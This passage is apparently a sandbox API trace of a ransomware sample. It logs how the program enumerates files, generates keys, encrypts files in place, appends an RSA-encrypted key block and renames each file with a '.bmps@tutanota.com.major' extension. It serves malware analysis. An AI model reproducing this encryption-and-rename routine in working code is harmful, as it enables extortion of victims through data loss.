(dwErrCode=0x0) [0249.806] GetLastError () returned 0x0 [0249.807] SetLastError (dwErrCode=0x0) [0249.807] GetLastError () returned 0x0 [0249.807] SetLastError (dwErrCode=0x0) [0249.807] FindNextFileW (in: hFindFile=0x2f31b60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52e5203f, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x52e5203f, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x52e5203f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0.1.filtertrie.intermediate.txt", cAlternateFileName="01FILT~1.TXT")) returned 1 [0249.807] SetLastError (dwErrCode=0x0) [0249.807] GetLastError () returned 0x0 [0249.807] SetLastError (dwErrCode=0x0) [0249.807] GetLastError () returned 0x0 [0249.807] SetLastError (dwErrCode=0x0) [0249.807] FindNextFileW (in: hFindFile=0x2f31b60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52e5203f, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x52e5203f, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x52e5203f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0.2.filtertrie.intermediate.txt", cAlternateFileName="02FILT~1.TXT")) returned 1 [0249.807] SetLastError (dwErrCode=0x0) [0249.807] GetLastError () returned 0x0 [0249.807] SetLastError (dwErrCode=0x0) [0249.807] GetLastError () returned 0x0 [0249.807] SetLastError (dwErrCode=0x0) [0249.807] FindNextFileW (in: hFindFile=0x2f31b60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4766b2dd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x4766b2dd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x4766b2dd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0249.807] SetLastError (dwErrCode=0x0) [0249.807] GetLastError () returned 0x0 [0249.807] SetLastError (dwErrCode=0x0) [0249.807] GetLastError () returned 0x0 [0249.807] SetLastError (dwErrCode=0x0) [0249.807] FindNextFileW (in: hFindFile=0x2f31b60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53362df6, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x53362df6, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x53362df6, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a35b, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings.ft", cAlternateFileName="")) returned 1 [0249.808] SetLastError (dwErrCode=0x0) [0249.808] GetLastError () returned 0x0 [0249.808] SetLastError (dwErrCode=0x0) [0249.808] GetLastError () returned 0x0 [0249.808] SetLastError (dwErrCode=0x0) [0249.808] FindNextFileW (in: hFindFile=0x2f31b60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52c8819a, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x52c8819a, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x53362df6, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x821fb, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings.index", cAlternateFileName="SETTIN~1.IND")) returned 1 [0249.808] SetLastError (dwErrCode=0x0) [0249.808] GetLastError () returned 0x0 [0249.808] SetLastError (dwErrCode=0x0) [0249.808] GetLastError () returned 0x0 [0249.808] SetLastError (dwErrCode=0x0) [0249.808] FindNextFileW (in: hFindFile=0x2f31b60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52c8819a, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x52c8819a, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x53362df6, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x821fb, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings.index", cAlternateFileName="SETTIN~1.IND")) returned 0 [0249.808] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0249.808] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\Settings.index", dwFileAttributes=0x80) returned 1 [0249.809] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\Settings.index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\settings.index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b10 [0249.809] GetFileSizeEx (in: hFile=0x1b10, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=532987) returned 1 [0249.809] ReadFile (in: hFile=0x1b10, lpBuffer=0x679020, nNumberOfBytesToRead=0x821fb, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x679020*, lpNumberOfBytesRead=0x2e3f9b4*=0x821fb, lpOverlapped=0x0) returned 1 [0249.869] SetFilePointer (in: hFile=0x1b10, lDistanceToMove=-532987, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0249.869] WriteFile (in: hFile=0x1b10, lpBuffer=0x70b020*, nNumberOfBytesToWrite=0x821fb, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x70b020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x821fb, lpOverlapped=0x0) returned 1 [0249.870] SetFilePointer (in: hFile=0x1b10, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x821fb [0249.870] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.871] WriteFile (in: hFile=0x1b10, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.871] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0249.871] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0249.871] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0249.871] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="/rNgwpFd6z+aJedpAk7aw+oow0yOGEUYSTIdge3ZuPcIfCcp5dSzzaBhHKygATVF\nK8NNkogVqh+RbtljCGOhqleHcohfYA5zCF+oCIc8i+bulsCOhaRV35DnIxATSnFs\nY/EV5b+TL25a4VbbLox8O4Y5AFkiyllnFOSgXjAlP+OJz/JyQKIgHKlqH57XWgal\nX8waaBma0yvrlhoCD0BgjKgkRBhBp6G5N8DJb+1pS502ectgqdbBBUuLmCYwQTdR\nTCSfte47U9cTKJjpncOsYN5c7OMEnRWhMSzgj0Xn/XzUckD6iF24KrrZPV69uXZL\ncf/G+dRO0Vj/CgIkGBqgqg==\n", pcchString=0x2e3f9a8) returned 1 [0249.871] WriteFile (in: hFile=0x1b10, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0249.871] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.871] WriteFile (in: hFile=0x1b10, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.871] CloseHandle (hObject=0x1b10) returned 1 [0249.871] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\Settings.index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\settings.index"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\Settings.index.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\settings.index.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0249.873] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0249.874] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\Settings.ft", dwFileAttributes=0x80) returned 1 [0249.874] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\Settings.ft" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\settings.ft"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b10 [0249.915] GetFileSizeEx (in: hFile=0x1b10, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=107355) returned 1 [0249.915] ReadFile (in: hFile=0x1b10, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x1a35b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x1a35b, lpOverlapped=0x0) returned 1 [0249.919] SetFilePointer (in: hFile=0x1b10, lDistanceToMove=-107355, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0249.919] WriteFile (in: hFile=0x1b10, lpBuffer=0x340f380*, nNumberOfBytesToWrite=0x1a35b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x340f380*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1a35b, lpOverlapped=0x0) returned 1 [0249.920] SetFilePointer (in: hFile=0x1b10, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1a35b [0249.920] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.920] WriteFile (in: hFile=0x1b10, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.920] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0249.920] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0249.920] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0249.920] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="WYH+ZqmzScVms1zBP4yboQbmL4UXFgBlRlum4WqP2erJTb8CEqJex8NwE5FCaIL9\nRT6cR8SMmon8MojPNgle/L7RlbK7bmWpAjevhjdTwSKip5Ke+ShTVGbemgaXIoVn\nQ1yhrZ8juvhs0oqCz53jFOzRP4XhnyMs7C8MDPoIv+568qQ3GRI2FgAmsCMBRVTl\n8ZuHE1Kp/kEUWraXqnaJkZacEiNQWBVXwwFEiA47HMMXbWx45JEeRhz0/TAF5kvX\ntWF2A+vyhlIxiJHF7ZpXNVQKhYdTvCRmqhWeNlIkDed1wMDhhOu7WADBw6QyO0TY\nC77FpAZtKOMMth9ClRpXTw==\n", pcchString=0x2e3f9a8) returned 1 [0249.921] WriteFile (in: hFile=0x1b10, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0249.921] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.921] WriteFile (in: hFile=0x1b10, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.921] CloseHandle (hObject=0x1b10) returned 1 [0249.921] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\Settings.ft" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\settings.ft"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\Settings.ft.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\settings.ft.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0249.923] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0249.924] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.2.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0249.924] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.2.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.2.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b10 [0249.925] GetFileSizeEx (in: hFile=0x1b10, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5) returned 1 [0249.925] ReadFile (in: hFile=0x1b10, lpBuffer=0x59d430, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x5, lpOverlapped=0x0) returned 1 [0249.926] SetFilePointer (in: hFile=0x1b10, lDistanceToMove=-5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0249.926] WriteFile (in: hFile=0x1b10, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5, lpOverlapped=0x0) returned 1 [0249.926] SetFilePointer (in: hFile=0x1b10, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5 [0249.926] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.926] WriteFile (in: hFile=0x1b10, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.926] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0249.926] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0249.926] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0249.926] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="bU67t6r4fpNCmwVZwZT83YzhyB+VaX85opgwy8d2UFFOL+cKB7cY6iC0/s0J8kGL\nejsSYLk6tPoYBqbg//mxwFHJlfE5RsY3OokY4+6ipEK87j2qwLGcvCdB/IYD/mMh\nxBQfBz6lUqQ/ayLqvmAm59iHVTf4IN1sX+MG1rNsXtaIhIXpb2X+kxfLtaiNXnHe\ndqv4Hrtdpm9QHapJQ8bE+/ld65VY7YAkOQ4Q7ctxN3xaLtE+Z5O5y1S7nSSsD1nc\n2/jt2VK3R8e/fn+h/40PX7e2rw7iWm2K9tYm6O5yl5tBES31omlY+HgDo7Hn7O7l\nRnJj92H/qZJ/QsYlkH/Hcg==\n", pcchString=0x2e3f9a8) returned 1 [0249.926] WriteFile (in: hFile=0x1b10, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0249.927] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.927] WriteFile (in: hFile=0x1b10, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.927] CloseHandle (hObject=0x1b10) returned 1 [0249.927] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.2.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.2.filtertrie.intermediate.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.2.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.2.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0249.955] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0249.955] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.1.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0249.955] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.1.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.1.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b10 [0249.955] GetFileSizeEx (in: hFile=0x1b10, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5) returned 1 [0249.956] ReadFile (in: hFile=0x1b10, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x5, lpOverlapped=0x0) returned 1 [0249.956] SetFilePointer (in: hFile=0x1b10, lDistanceToMove=-5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0249.956] WriteFile (in: hFile=0x1b10, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5, lpOverlapped=0x0) returned 1 [0249.957] SetFilePointer (in: hFile=0x1b10, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5 [0249.957] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.957] WriteFile (in: hFile=0x1b10, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.957] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0249.957] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0249.957] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0249.957] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66e948, pcchString=0x2e3f9a8 | out: pszString="h859N1Z8XYlGSayapPXJIWpc2XCWslhbT9ZdK8v/leQWVW+2xT6V8CphB9cMYQwY\n/z7nzkKPN7YvcNWl+hGgVBpzTqKo006JZif/jRYBv1NLV8bM0Ge3sLpgGY8OaZ7Q\nW/gZl0VQuNntfmz3mmiW/nFFsk+fDJ9bRCj3BiEs5D76ZQrvBxGl27jDzrINF7/e\ndq0t2iRvB8Ty3ihYUBzrErYLyzexgXmpJMAiuycTEYBEngtvltczDDBFp5+zUQnK\n/OupJjueXGpbOqBbRg6JMcQVeDr1LMVDVftrdqaAkI+U3/6Rx3/KrIrrWROtCfM8\nJTvrOX7NVzVR4An7u5KsPQ==\n", pcchString=0x2e3f9a8) returned 1 [0249.957] WriteFile (in: hFile=0x1b10, lpBuffer=0x66e948*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0249.957] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.957] WriteFile (in: hFile=0x1b10, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.957] CloseHandle (hObject=0x1b10) returned 1 [0249.958] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.1.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.1.filtertrie.intermediate.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\0.1.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major" (normalized: 